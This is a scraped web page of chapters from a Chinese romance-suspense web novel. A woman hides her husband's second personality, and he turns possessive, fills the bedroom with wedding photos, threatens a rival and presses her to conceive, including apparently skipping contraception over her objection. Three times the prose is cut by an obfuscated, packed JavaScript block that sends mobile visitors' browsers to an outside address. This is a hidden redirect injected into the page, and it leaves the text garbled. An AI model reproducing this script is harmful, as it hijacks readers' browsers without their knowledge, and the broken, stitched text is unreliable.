“什么说谎?”他抬了抬眼皮,轻哼一声关掉卧室灯,“不愿意说算了......你难道不好奇某些人怎么知道的吗?” 半边枕头被对方睡了去,卿意没理会,望着天花板心不在焉回复:“可能是因为我的解释太没有说服力了。” “我说去逛街了,但一整天什么都没买。” “卿卿,你真是傻得可怜。”男人轻掐着她的脸蛋扳向自己这边,“他很可能调查了你,并且查出了什么,所以才对你发脾气。” 卿意呼吸一窒,不敢顺着这个方向深想,立即否认道:“不会的,林与青不是这种人,他从来不做偷偷摸摸的事情。” “你是说我诋毁他?” 他的脸色沉了下去,卿意急忙解释:“不是的,我不是这个意思,你不了解他,他——” “我根本不想琢磨他是个什么样的人。”他把另一只枕头扯过来,背过身去,“我要睡了。” 卿意噎了一下,沉默半晌后在黑暗中主动将手臂搭过去,瞬间被他躲开了。 “......晚安。”说完她躺回自己的位置。 窗外起了一层薄薄的夜雾,没了说话声,偌大的卧室静悄悄的。 大约过去十来分钟,房间里响起男人突兀的、不可置信的质问:“你睡着了?!” 话毕,卿意这边的被窝有人钻了进来,她的脸颊还被捏了一下。 她强忍住笑意,抿紧唇硬是不让自己发出一点声音。 “我都看见你睫毛抖个不停了。”他似乎也被逗笑了,忘记之前说的话热切地将卿意搂进怀里,“别装睡了。” 明明是同一个人,他身上却总是热乎乎的,卿意依旧没睁眼,但笑着回抱了他的腰作为回应。 “我好爱你,卿卿......” “明天还可以见到你吗?” “要是每天都能见到你就好了......” * 晨光从窗帘一角透进来,女人站在桌子前面,脸颊被光照耀着,那层短而柔软的绒毛看着有些孩子气。 这一盒已经用完了。 卿意回头看了眼床上沉睡的丈夫,将深蓝色的空盒子丢进垃圾桶,吩咐负责打扫的佣人一起扔掉。 化妆桌的抽屉都有密码锁,林与青平时不会动她的东西,但和第二人格有关她必须要谨慎一点。 卿意拿起抽屉里的本子随便翻了翻,脑海中忽然浮现睡前他说的话。 本子是从前用来写日记的,高中的时候就开始写了,陆陆续续记录到了大学,因为他总爱翻出来看,到了后面她只有想起来才会抽时间更新一次。 她没有想过谁把谁取代,就像手里的日记本,有关于林与青的内容,也有关于他的内容,无论撕掉谁的部分这个本子都会变得不完整。 所以必须瞒住林与青,否则一切都会成为未知数。 卿意将本子锁回去,时间不早了,床上的男人还没睡醒,她捻了捻他头顶被压弯的一小撮头发,依然没醒。 “太累了吗?”她低头轻声嘀咕一句,靠近时闻到他身上的味道,心里又产生了那种奇异的感觉。 对于林与青才有的,一种说不清的情愫。 卿意冷不丁感觉自己正周旋于两个男人之间,但转念一想他们本来同一个人啊。 同一个人,性格偶尔不一样而已。 [我去上班了。] 醒过来的大概率是林与青,第二人格多数时候只待一个晚上,卿意把写好的便签放在床头柜上,等他醒过来就能看见。 到单位投入工作后一整天的时间消磨得尤其快,林与青下午发了消息说有事不能来接她下班,卿意准备打车回月港,正要挥手叫出租的时候一辆银色帕拉梅拉停在她面前。 “卿意,刚下班吗?”晚霞映衬下,女人的笑容格外温婉动人。 卿意有些拘谨地点头:“嗯嗯,你是来找我的吗?” “对呀,上回不是说要一起喝喝咖啡?” 卿意以为她之前说的都是客套话,聚一聚喝点东西倒是没什么,但林与青还在和她闹脾气呢,她原先计划早点回去的...... “不方便吗?”苏妘拿上放在副驾的袋子,下车交给她,“我前几天碰到了谢老师,正好聊起你,她托我把这个给你。” 谢老师在澜江重高教外语,也是卿意的高中班主任,她的成绩在重点班处于中游偏下,谢老师不像理科班班主任那样只全心扑在尖子生上,对他们这些普通学生也格外关注,考试没发挥好她都会找学生谈心询问具体情况。 卿意接过袋子,有了这层缘由更不好意思再拒绝对方邀请,主动开口:“中山路的咖啡味道很好,我请你吧。” “好,上车。” 不到二十分钟的路程,等红绿灯的间隙苏妘抬眸瞥了眼后视镜,问道:“与青没接电话吗?” “还没......”准确来说是发的消息也没有回,卿意本来想告诉他自己估计要晚点才能回去。 绿灯亮起,这条路车流通畅不少,苏妘望着前方,冷白的脸庞染上了夕阳的一缕金晖,“他可能在忙,毕竟公司刚起步,要处理的事情只多不少。” “嗯。”卿意接不上话,她前天才知道他从医院辞职了,至于公司什么的因为冷战了也没有机会去问。 到咖啡馆,两人面对面坐下,卿意垂眸点单,余光感觉对方正看着自己,于是下意识揉了揉右眼皮。 不算小的一块疤,垂眼时看着有些狰狞,好的点是一睁眼就看不见了。苏妘人还在国外的时候听别人提起过林与青的女朋友,一个长得漂亮点的普通女人,她确实记得卿意这个名字,但从她的朋友圈里才对上这号人。 “谢老师以为你现在还从事外语方面的工作。” “她知道我实习的时候做过一段时间的西语翻译,所以误会了吧。” “怎么没有继续往这个方向?”苏妘另加了一份甜点,边说,“昨天扫墓的时候叔叔阿姨说你有自己的规划。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525861|203493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见扫墓两个字卿意心头一颤,苏妘也去了吗?难道去世的人和苏家也有关系? 她满脑袋疑问,着实没想到他们两家关系这么紧密,现在看起来自己反倒比较像外人。 “翻译压力比较大,而且当时......”卿意欲言又止,捏着小银勺搅了两下咖啡,讷讷道,“反正现在也挺好的。” 苏妘看出她的情绪变得低落,勾起唇打岔:“嗯,与青应该会支持你的决定,他一直很体贴。” 卿意以为她在说两人的夫妻感情,于是应和着说了声“谢谢”。 后面苏妘有事先走了,回家路上卿意打开那个袋子看了一眼,里面是高三下学期参加比赛获得的奖杯,大概寄过来的时候她已经毕业了,所以才一直放在谢老师那里。 卿意轻轻抚过奖杯,内心感到一阵迷茫。 她并非没有追求过自己的理想,只是去年考研没被想去的院校录取,为此还消沉了好长一段时间,现在的工作也是准备了好久才考上的...... 回到家,卿意把从云锦园带回来的学习资料整理了一下,望着密密麻麻的笔记不由得惆怅,要是她也有林与青的脑子就好了。 说曹操曹操就到,她正把笔记本一本本收起来,外面响起敲门声。 “还没吃饭吗?” “没有。”卿意回头瞥了眼,看见那张面无表情的脸就来火,于是没好气地说,“我傍晚给你打电话了,也发了消息。” 男人弯腰帮她收拾地上的书本,凑得近,卿意嗅到了他身上有淡淡的酒味,“你喝酒了?” “晚上有个饭局。”林与青抬起眼,眸色淡淡的,“电话给了助理,他不敢进包间。” 卿意的怒火瞬间就被浇灭了,她不懂商政里面的弯弯绕绕,沉默过后只挤出一句“喝酒对身体不好”。 相顾无言。 等东西都收拾完了卿意想和他一起下楼用餐,还没开口他反而先一步说道:“先去吃饭吧,我还有点事要处理。” 卿意隐约听出了他今晚又要待在书房的意思,那就是还在因为昨天的事情生气,她昨晚还在和第二人格纠结要不要道歉,此刻却怎么都张不开嘴,只好迂回地说:“你在卧室办公也可以,我不会打扰你的。” 但他拒绝了:“我可能会忙到很晚,你早点休息,不用等我。” 又是不用等...... 因为她撒谎了,所以他才一直这样晾着自己吗?可是他以前从来不会这样不理她。 “嗯,你忙吧。”她吃不下饭了,踹掉棉拖躲进被子里,然后一把将脑袋蒙住不想再看见那张脸。 卧室安静了一会,随后响起男人沉稳的脚步声,片刻后,房门轻轻合上。 卿意努力将眼泪憋回去,想到是她说谎在先,大不了等会再去书房找他最后一次,要是这人还是不理不睬的,那以后就分房睡吧,反正一个人睡觉也能睡着...... 她抹了抹眼睛,从被子里探出脑袋—— 他没有离开,手里拿着刚脱下的西装外套,正朝她看过来。 12. 测试题 林与青在床上开完了一个简短的电话会议,见她仍然盯着自己瞧,便放下手里的工作问道:“不饿吗?” 卿意人还在被子里,闻言仰起脸蛋打量了他一会,拿不准对方现在是不是还在生气,但他刚才去而复返应该代表心情好一点了? 她瓮声瓮气提议:“我让阿姨把晚餐送上来,我们一起吃吧。” 男人看了她一眼,算是默认。 饭菜很快送了过来,卿意偷偷观察对面的丈夫,苦于找不到话题切入,最后反而把自己气到了,连着喝了三碗汤。 接下来两人也是各干各的,他在旁边处理工作,卿意洗完澡后没事做,随手刷着屏幕上跳出来的小测试。都是一些换汤不换药的问题,对应的结果也大差不差,她觉得没意思,划走的时候不知道误触到了哪里,手机跳转到一个崭新的界面。 卿意顿时被里面的测试题吸引了注意。 [他的哪些方面最让你留恋?] [A.心动的颜值B.不错的性格C.完美的身材D.宏大的格调!] ....... 她瞟了眼正在忙碌的男人,然后默默将屏幕转过去了点。 为什么不能多选呢? 卿意A/B/C/D都点了,但它是单选题,最后选择了D,正要点确定她又感觉怪怪的,迟疑过后还是回到A选项。 [特殊时期,他帮你手洗过衣物吗?] [A.洗过外衣B.洗过贴身衣物C.都洗过D.没有洗过] 她选择C。 越答到后面卿意发现了出题人的规律,每一个离谱的问题后面就会接一个正常的问题,让她一会浑身发烫,一会又清醒过来。 [和谐的时候,你有脑补过其他人的模样吗?] ......这都什么跟什么啊?! 卿意气笑了,她到底选了哪个答案竟然会跳到这种题目方向?! 她的手指刚按在[B.没有]上面,耳边冷不丁响起男人的笑音:“在看什么,这么开心。” 卿意吓了一跳,手腕一抖手机就这样掉在了被子上。 林与青扫过屏幕上的内容,顺带拿起手机:“这是什么?” “没什么,就是一些无聊的测试题——”卿意赶紧伸手想把手机抢过来,但他已经低头看起来了,她只好装作无所谓的样子,“我刚才想关掉的,都是些瞎扯的问题。” “别紧张。”林与青朝她笑了笑,随后点击B选项[没有]。 正当卿意以为就要跳转到下一个正常一点的问题之际,屏幕上的圈转了两圈,紧接着出现一大段测试结果。 [很显然,你正处于一种危险的抉择阶段。是陈腐却令人安心的稳定,还是新鲜而刺激的未知,无论选择哪条路,你......] “都在胡说些什么啊!”卿意一把抓起手机熄屏,甚至想把手机立刻丢出去,她哪有这样想过,纯粹就是这个该死的出题人胡说八道害她的! “只是一个测试题而已。”林与青将脸色涨红的妻子揽到胸前,“怎么生这么大的气?” 他经常锻炼,肩膀宽阔结实,搂住别人的时候自带一些“掌控感”。 这几天他一直很冷淡,对于这份突然的主动卿意只当是对方消气了,忍不贴着他的胸口讨好般轻蹭:“因为它乱说,我之前看里面的问题好玩才答题的,没想到给出这种结果,太过分了。” 从她说话开始,林与青的目光就死死地钉在她脸上:低垂的睫毛,花瓣形状的疤,小巧的鼻子,以及谎话连篇的嘴巴。 “我真的没有这样想过,我没——”卿意想要说清楚,却被男人堵住了嘴。 他工作忙,加上正在“冷战”,两人一周多没做过了,此刻仿佛搁浅后重新回到水里的鱼,一接近便吻得难舍难分。 卿意浑身发热,手也不知道什么时候伸进了他的睡衣里面,眼看快喘不过气,便摸了摸他的肋骨示意歇一会。 林与青这个地方尤其敏/感,亲密的时候她偶尔会故意摸一下,但他不太喜欢她碰这里,每次都抿着唇把她压回去用力收拾一顿。 但这回却不一样,他松开她的唇,转而埋进她的颈间,然后攥着她的手往下按。 掌心被狠狠烫了一下,卿意呼吸陡然变得急促,紧接着,男人喉间挤出一声低哑而性感的轻喘。 她的脸刹那间便红透了,心里的小人不知道“啊啊啊”大叫了多少次,趁他正在“脆弱”时期面红耳赤跳下床:“那个......你是不是要洗澡了,我去帮你放热水。” 腿才往外迈了一步,她又被男人拦腰抱了回去。 “我想和你待一会。”像蔓延过来的藤蔓,他将她牢牢缠住。 卿意一愣,低头看了眼腰上的手,不太自在地应下。 平时相处除了床上需求二人多数时候都是各干各的互不打扰,现下忽然要亲亲热热地抱在一起聊天......她尽可能自然地开口:“忙完工作了吗?” “嗯。”林与青调整姿势,双臂从后绕过去好似抱小孩一样,“公司在望京那边,想不想去看看?” “我也可以去看吗?”卿意回过头,由于兴奋过度差点撞到他的下巴,于是不好意思地往前挪了点,“可是我不是你们公司的员工......” 林与青让她躺下来枕着自己的腿,轻笑回应:“你是老板娘。” !!! 成功被这三个字取悦到,卿意唇边翘起个弧度,躺着冲他眨眨眼:“那我们的公司是干什么的?” “医疗器械方向。” “你真厉害。”卿意发自肺腑感叹道,瞥见他眼下淡淡的黑眼圈,不禁有些内疚,“辛苦了。” “对不起,以后我——”她顿了顿,本想说以后不惹他生气了,但又害怕他追问那天自己到底去干了什么,只好及时刹住车调转话题,“以后我下班早点回来,等你有空的时候我们一起做好吃的。” “好。” 他回答得斩钉截铁,可在之后却是一阵漫长的、足以令人窒息的沉默。 这份戛然而止让人极度不安,卿意试图再找找可以聊的,思索之际他反而先开口。 “卿意,我们已经结婚了。” “对呀。”她下意识认为这是个疑问句,回应后顺着他的视线侧头望向对面挂着的巨幅婚纱照。 相片在国外的一座英式城堡取的景,她骑马,他在前方牵绳,两人穿过高高耸立的雪杉林,镜头定格在对视的那一刻。 “还记得我们的结婚誓词吗?” 卿意不太明白提这个做什么,点点头回答:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525862|203493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得。” “从今往后,无论是顺境还是逆境,富裕还是贫穷,健康还是疾病......” “对你忠诚,直到永远。”男人看着婚纱照,好似自言自语,“死亡也无法将我们分开。” 带着寒意的气息掠过皮肤,倏地,窗外炸开一道雷声,电光闪烁间急雨呼啸而至。 “过来,别害怕。”他勾了勾唇,笑容在忽明忽暗的暴雨天内透着几分诡异,卿意来不及多想,瑟缩着扑进丈夫的怀抱。 “又下雨了。” “最近天气多变。”林与青掀起被子,搂着她躺进去,“这张婚纱照挂了有段时间,会不会看腻了?” “还好。”轰隆隆的闪电让她心惊胆战,卿意没心思讨论婚纱照,“老公,窗户关了吗?” “关了,我抱着你睡吧。” “嗯......” 暴雨下了一整夜,等到清晨只剩下雨水滑过树叶留下的微弱声响。 卿意迷迷糊糊醒过来,刚想张嘴,腮帮附近仿佛被胶水紧紧黏在了一起,一牵扯就疼得厉害。 林与青听见她的哼唧声,立即起身将壁灯打开,“怎么了?” 卿意这时才发现外面的天还是灰蒙蒙的,大约才六点多的模样,她实在疼得说不了话,只好指了指自己的左腮。 林与青一看便懂,下床取出医药箱里的弯头针/管,吸好生理盐水后准备帮她冲洗消炎。 瞄到他又把这个东西拿出来了,以往的剧痛再次袭来,卿意疯狂摇头往被子里面藏。 林与青不由分说把人揪出来,眉心拧紧:“嘴张开,我看看严不严重。” 见对方一脸严肃,卿意不敢再反抗,努力抬头张开嘴。 “牙龈肿了一圈。”说完林与青打算用针/管辅助冲洗,还没伸进去就看见她颤颤巍巍往后缩,他无奈轻掐住妻子的下巴,“乖一点,很快就好。” 卿意没办法,只得闭眼听从。冲洗两遍后,针管里的药剂应该是换了,他的手法也变得缓而慢,一点点注入进盲袋和牙龈缝隙,这对她而言无异于钝刀子割肉。 “好了,吐出来。” 林与青在旁擦手,等她把混着血丝的水吐干净,又将手指探进她的口腔。 卿意一时间没反应过来,舌尖本能舔了一下。 ...... “消下去了。”林与青尽量忽略掉刚才柔软的奇怪感觉,手指退出去后扯来纸巾替她唇边残留的涎液,“还有点低烧,我等会帮你和单位请一天假。” “嗯。”卿意尴尬极了,感觉自己活脱脱像个生活不能自理的人。 “昨天吃什么了?” “和苏妘姐去了咖啡馆,点了可露丽......” 见他一言不发低头收拾东西,卿意捂着腮帮,认错一般泪汪汪黏上去:“林与青,我还是好疼。” 太久没听到她连名带姓地叫他,林与青有一瞬间恍惚,仿佛两人又回到了最开始,那段单纯而美好的热恋期。 他的心脏柔软一片,低下头亲了亲她的眼尾:“等早餐后吃点消炎药,会好很多。” 相拥缠绵了一会,林与青看着怀里熟睡的女人,眸光一寸寸黯淡下去。 他明白自己无法离开她,也狠不下心惩罚她,他该拿她怎么办? 13. 见面 下过一场大雨,工地上到处布满泥浆,工头走得急,鞋面上溅满泥点也没空理会,等赶到门口时他特意提了两下皮带,然后才毕恭毕敬过去和来人问好。 不远处站着一个气质不凡的年轻男人,工头猜测和自己说话的大概是他的秘书,没敢多问殷切应声:“对对对,我们这有这号人,现在在钢筋架那边忙呢。” 泥土的腥味和垃圾的腐味混在一起,林与青拧眉,转身看了眼走过来的助理,后者则心领神会回答:“林总,他在这里工作,已经吩咐人去叫了。” 接到消息的时候何年刚从脚手架上下来,工头在旁边嚷嚷个没完,大概意思是哪里来的领导要见他。可能那堆人又在背后说了什么,他没兴趣猜测具体原因,将沾满灰的手套丢进安全帽,套上衣服就走。 办公室的门虚掩着,何年正要抬手敲门,里面的人忽然看了过来。看清对方那刻他的瞳孔微微颤了颤,但也只是一瞬间的功夫,随后唇边便挂上了讥讽的笑容:“林少爷找我有事?” 气氛诡异地陷入沉默,站在一旁的姜堰瞥了眼门边的男人。事发突然,他还没来得及太仔细地调查,目前从仅存的信息里只能得出夫人近来和这个男人交往密切。他越过对方,面色不善地将门合上。 “听说你在找人?”林与青淡淡扫过对面的人,开门见山问道。 “怎么,林少爷打算大发善心?”何年没有往里走,反而倚着门框从裤兜里掏出打火机。 “找了这么多年,我想你应该不愿意看到前功尽弃吧。” 话外音再明显不过,何年盯着对方的眼睛,握紧的拳头青筋暴起,他掐了烟,冷冷反问:“你到底想说什么?” “离开澜江,在我还有耐心的时候。” “不可能。” 一左一右,两人沉默对视。 死一般的寂静过后,林与青从容走向窗边,雨过天晴,天空被洗成一片脆生生、晃眼的蔚蓝色,他勾起唇轻蔑一笑:“你觉得你有选择吗?” “我爱人性格单纯,看上些不入流的东西对我而言不算什么大事,但这两个月的时间未来也许会成为何先生一辈子的噩梦。” 听见两个月,何年诧异抬头望了一眼。见他神色如常,一直苦思不得其解的疑惑在此刻仿佛扯开了一道口子,他嗤笑出声:“你记错了,我和卿意认识十三年了。” * 卿意感觉自己烧糊涂了,四肢的骨头掐着疼,眼皮也黏糊糊的睁不开来,不知道是不是幻觉,她隐约听见了电钻的声音,胶着的思维让她难以仔细分辨,片刻后又再度昏睡过去。 黄昏时分的鸟叫声格外聒噪,声音穿透进来,卿意的睫毛颤动了几下,终于掀开一道缝隙。 房间一片昏暗,她下意识叫林与青的名字但没人回声,只好忍着不适撑起身体开灯。 侧身时好像碰到了一个冰凉坚硬的角,卿意没理会,凭借记忆摸到壁灯开关。 温暖的光从床头徐徐漾开,她的眼睛还有点酸涩,等到目光能够稍微聚焦,一幅婚纱照赫然贴在她眼前。 中式凤冠霞帔红得好似的要滴出血来,她端坐着,笑容灿烂到诡异,男人站在后方,双手温柔地搭在她的肩膀上。 视觉冲击力太大,卿意生出一种毛骨悚然的寒意,立刻抬手将相框倒扣下去。 什么时候放在枕头边上的? 她还没弄明白,一扭头,猛地倒吸一口凉气。 原本空白的墙面上此刻挂满了大大小小的相框,全是婚纱照,不同的场景,不同的姿势,每一张照片里面她的笑容都像刻意放大过一般,占据整个画面中心。 刺目的红、白、黑,满满当当的照片海将她裹得喘不上气,她的喉咙发紧,干涩得发不出任何声音。 死寂中,她冷不丁地对上了照片里直直望着自己笑的眼睛—— 那对黑白分明的瞳孔,用空洞却又幸福的目光,注视着自己这个闯入的、真实的、惊恐万分的本体。 卿意再也控制不住喊了出来。 彼时林与青做好晚餐正准备送上去,听见呼救声后连忙放下餐盘赶上楼。 “怎么了?”他刚掀开被角,里面的人就像抓住了救命稻草一样黏在他身上。 柔软的身体冒着热气,小脸红扑扑的,不由自主用力抱着他迷迷瞪瞪地乱蹭。 “嗯?”他没听清她在说什么,合了合腿顺势将她搂进怀里。 “墙上为什么挂了这么多相片?我醒过来的时候都快吓死了。”卿意仰着头,双眸在发烧和惊吓的双重作用下湿漉漉的,“我感觉他们在动,在盯着我看......他们——” “他们不就是我们么。”林与青打断她的话,语气似笑非笑,“还怕起自己来了?” 卿意一怔,想起睡梦中听见的电钻声,“你挂上去的?” “之前的那张婚纱照挂了好几个月了,这些也很好看。” “但也用不着都挂满吧,满房间照片你不觉得很吓人吗?!” “为什么会吓人,我们不是相爱的吗。” “......”卿意噎住,一时间找不出反驳,见他的唇瓣都快抿成一条直线,只好叹气反抗,“反正就是太多了。” 林与青没接话,默将压在枕头上的婚纱照翻回正面,然后象征性走过去取下墙面边缘的两张相框。 或许是有人陪着,缓过来后卿意看见对面的照片墙虽然仍然有些不适,但内心的恐惧感已经减轻很多,想起他刚才急匆匆过来的,便问道:“你是不是还有工作要忙?” “没有。”林与青停顿了一下,指尖落在相框上,“我下午去见了一个人。” 卿意以为和平常的饭局一样没太在意,心有余悸握着水杯抿了口温水,“你朋友吗?” 又不说话了......她搞不懂他葫芦里卖的什么药,很给面子地猜了几个名字,但他还是一声不吭。 “到底是谁?”她的好奇心被勾起来了,把杯子放到一边晃了晃他的手臂。 林与青反握住她的手,牵了牵嘴角:“生意上的朋友。我买了你爱吃的菜。” “你今天做饭了?”发烧躺了一整天,卿意现在已经饿了,“但是我的牙龈还有点痛......等会我下楼帮你吧。” 她自顾自说着,刚睡醒大脑还有点晕晕乎乎,“感觉只能喝鸡丝汤了,要不多做点合你胃口的——” “你以前住在上寒村?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525863|203493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>卿意的笑容僵在脸上,整个人也顿时清醒了,别扭回答:“嗯,怎么突然说这个?” “是不是还有朋友在那边?我们可以找个时间回去看看。” “没必要。”她不想提这些,更不愿意在他面前翻出一堆难堪的陈年旧账,脸色不由得冷了下去。 “你朋友应该很想见你,我陪你回——” “说了没必要。”她抽出手,不明白他干嘛还要一直追着自己问,学校里的人不都知道她是从乡下的来吗? 卿意内心升起一股没来由的烦躁,索性下床,“我去洗澡了。” “吃完饭再去。” “身上黏黏的不舒服......”她其实生气了,但眼下被对方环住了腰,只得捏捏扭扭推开他,“马上就好。” 好不容易挣脱禁锢,卿意拿上睡袍打算去浴室,期间他一言不发坐在床边。卿意知道他正看向自己这边,但她正在气头上没心思搭理,不曾想从他面前走过去的时候被这男人故意伸腿绊了一下。 她一屁股摔在对方大腿上,气得攥紧拳头猛捶好几下,“你幼不幼稚啊?!” 绝对吃错药了,平时这么稳重的人今天跟被夺舍了一样。 林与青阴沉着脸没有答话,等她停下后才开口:“我有话和你说。” 卿意被他单臂搂着,衬衫袖口的纽扣硌着她的腰很不舒服,而林与青严肃凝重的神色更是让她心里直打鼓:“什么啊?” 男人与她对视,幽深的目光仿佛具有某种穿透力,卿意心脏不禁提到嗓子眼。 短暂安静了一会,冷冽的气息拂过她的脸颊,“何年,这个人你认识吗?” 卿意的脸“唰”地白了,脑海瞬间陷入空白,刚才的愤怒顿时被这巨大的信息量淹没,他怎么会记起何年? 明明他已经忘了啊,难道之前的事情都想起来了吗? 最糟糕的事情好像发生了,她的大脑完全乱成了一锅粥,连带着呼吸也不顺畅:该怎么解释,他不会原谅她了,该怎么办...... 她还在懵的状态,蓦地被对方抬起下巴,卿意不受控地急出了眼泪:“林与青,对不起,我......” 预想中的责问没有到来,他忽然俯身封住她的唇,力道很重,强压下她感到一阵疼痛,紧接着舌尖便被柔软的温热卷了过去。 唇舌交缠,卧室里回荡着激烈的水声,卿意被亲晕了,脸颊甚至比昨晚发烧的时候还要滚烫,连身上的裙子什么时候掉到地上也没发觉,后知后觉地想侧身去捡,见状林与青将她压到床上,再度吻上去。 两人凌乱的呼吸搅在一起,攀升的温度让卿意没法再想其他的,手臂情不自禁圈住他的脖子,扬起脑袋任由对方在胸脯间放肆。 林与青一低头就能看见她水润润的眸子,心跳好似停滞了,他一点点亲吻她的下颌、鬓边和耳垂,低声呢喃:“卿意.......你爱我对吗......对不对。” 卿意一时间没有反应过来,过了好一会才迟钝地点点头回应。 视线相接,他用一种她无法看懂的眼神盯着她看,碎玻璃一样的眼睛仿佛蒙了雨夜的雾,湿冷、寂静、晦涩。 卿意心底的不安卷土重来。 14. 备孕? “我也爱你。”一阵长久的凝视后,男人唇边挂上重新笑意。 卿意感觉他有种说不出来的古怪,犹豫时对方从后方环抱住她。 后背紧贴着炙热的胸膛,平稳有力的心跳声震得人耳根发麻,他靠过来,唇瓣轻轻擦过她的太阳穴,卿意诡异地联想到叼着小猫脖颈的猫妈妈。 两人没再言语,蹭来蹭去卿意呼吸渐渐烫的惊人,她想往外躺点隔开点距离,背后的热量却忽然消失了。 她回过头,林与青正低着头解西裤皮带。 接下来的事情顺理成章,他今天格外急,把她也弄得心焦体热,终于契合,两人不约而同满足轻喘。 卿意微侧着将脸埋进枕头里,但还是无法避免溢出几声低吟,晃动中手背不小心碰到一旁的婚纱照相框,看着照片里的自己,她浑身不舒服。 察觉出她走神了,林与青停下在她后颈上咬了一下:“一直盯着他做什么?” 疼痛让卿意皱起了眉,身体也下意识收紧,然后就听见男人舒畅地轻“嗯”一声。 ...... “干嘛咬我。”她红着脸,转头掐了把他的腰。 林与青将身下的女人翻了个面,瞧见她羞赧的模样,不由得弯唇:“谁在这种时候还盯着别人看?” “哪来的别人,那不也是你吗。”好无语,不是他自己非要把相框竖在枕头上面吗? “嗯,是我。”林与青托着她故意往上,见她一声不吭直躲,故意咬着她的耳朵问,“你很烫,还在发烧吗?” 意识到他指的是什么后卿意失去表情管理,林与青以前不会说这种话的......她不知道回什么好,一阵措辞还是哑口无言,索性别过头不理他,直到后面没忍住才抓挠他的手臂喊了出来。 渐渐地,卿意感觉和往常不太一样,以为是丈夫忘记了急忙出声提醒:“老公,没......” “老公......与青——” 他仿佛没听见,带着蛮横的力道吻住她,卿音的声音一点点被对方吞了下去。 天彻底暗了,一轮勾月悬在天际。 两声绵长的低喘后,卧室安静下去,床上的男女紧紧抱着,仿佛要将对方嵌入骨血。 林与青亲吻女人娇俏的眉眼,嗓音带着事后的沙哑:“卿意,我们要个孩子吧。” “你说什么?!”卿意本来都快累得睡着了,此刻硬生生被吓得睁开眼睛。 “要个孩子,可以吗?” “当然不行!”她本能拔高声音,对上他的眼神才意识到自己反应过大,于是从他怀抱里出去,用商量的语气问道,“我们结婚也没多久,怎么突然想要孩子了......” “为什么不能要?” 卿意觉得他在故意和自己抬杠,“上次在爸妈那不是说过两年再考虑孩子的事情吗。” “现在不一样。” “哪不一样?” 本以为他还会再说点什么,但对方只是沉默地拾起床上床下散落的衣服。 下身淌过一阵热流,她这会才把要孩子的和这件事联系起来,立即没了追问和解释的想法,皱着眉拿上睡衣去浴室。 洗漱好出来房间已经收拾好了,床单和被褥都换了新发,窗户打开通风,室内空气清新许多。 “来吃饭吧。” 卿意瞅见同样洗完澡的男人,以及桌上的饭菜,她的心情有所好转。用餐时见对方一直冷着脸,她一边夹菜一边悄悄伸腿过去。 林与青瞟了眼正在勾自己小腿的女人,将一块鱼肉放进她碗里,“好好吃饭,不要弄东弄西。” “我没有......”被警告了,卿意有点难堪,她只是想示个好,都先给台阶了他怎么还装正经。想到这,她翘起腿继续往上游走。 “吃好了吗。”林与青放下筷子,看向对面小动作不断的妻子。 卿意赶紧把腿缩回来,小声回答:“还没呢。” “两张嘴都没有吃饱?” 她愣了一下,过去大半天才听明白,震惊之余面红耳赤嗔道:“你怎么又说这种话......” 男人脸上没什么表情,缓缓低头喝汤,余光看见有人还瞪着他,这才没忍住轻笑一声:“好了,逗你玩的。” 卿意望着丈夫英俊的面容,趁热打铁为前面的事情解释:“我毕业还不到一年,想过几年再考虑生育的事。” “现在工作什么的都不稳定,我想等我们都准备好了承担做父母的责任再要孩子会更好。” “而且你没戴避孕......都没有提前和我说。” 林与青只听见中间那句话,淡声道:“我准备好了。” ......鸡同鸭讲。 卿意暂时放弃这个话题,瞥了他好几眼才敢继续:“你之前说何年,他——” “你发烧的时候叫了这个名字。”林与青面不改色说谎,冷白的水晶吊灯下,整个人看上去有点阴测测的。 “可能是我做梦梦到了以前的事情,何年是我小时候的玩伴,很早就认识了。”幸好没想起什么,她随便编了个能说得过去的理由。 “你叫别人的名字让我很不舒服。” “......对不起。”她没心情吃饭了,放下碗筷心虚道歉,“我不是故意的,以后绝对不会了,你别生气。” 林与青并不着急回答,等她眼底再度泛起涟漪,他才适时露出包容的微笑:“我没有生气,只是有点吃醋。” “真的不好意思。”卿意离开座位,像个做错事情的孩子走到他身边,“谢谢你今天照顾我,麻烦你了。” 林与青弯了弯眸子,和往常将她搂进怀里。 “老公......”卿意配合环住他的腰,垂下脑袋掩盖情绪。 也许她应该对他再好一点,无论是出于过去的补偿,还是回应他现在的感情,她都理应对他更好一点。 正在百感交集,她的头顶忽然响起对方的“专业”提议:“你现在的工作容易影响心情,可以先辞职休息一段时间,我们一起好好备孕。” * 一整晚没睡好,第二天去单位的路上卿意浑浑噩噩的。 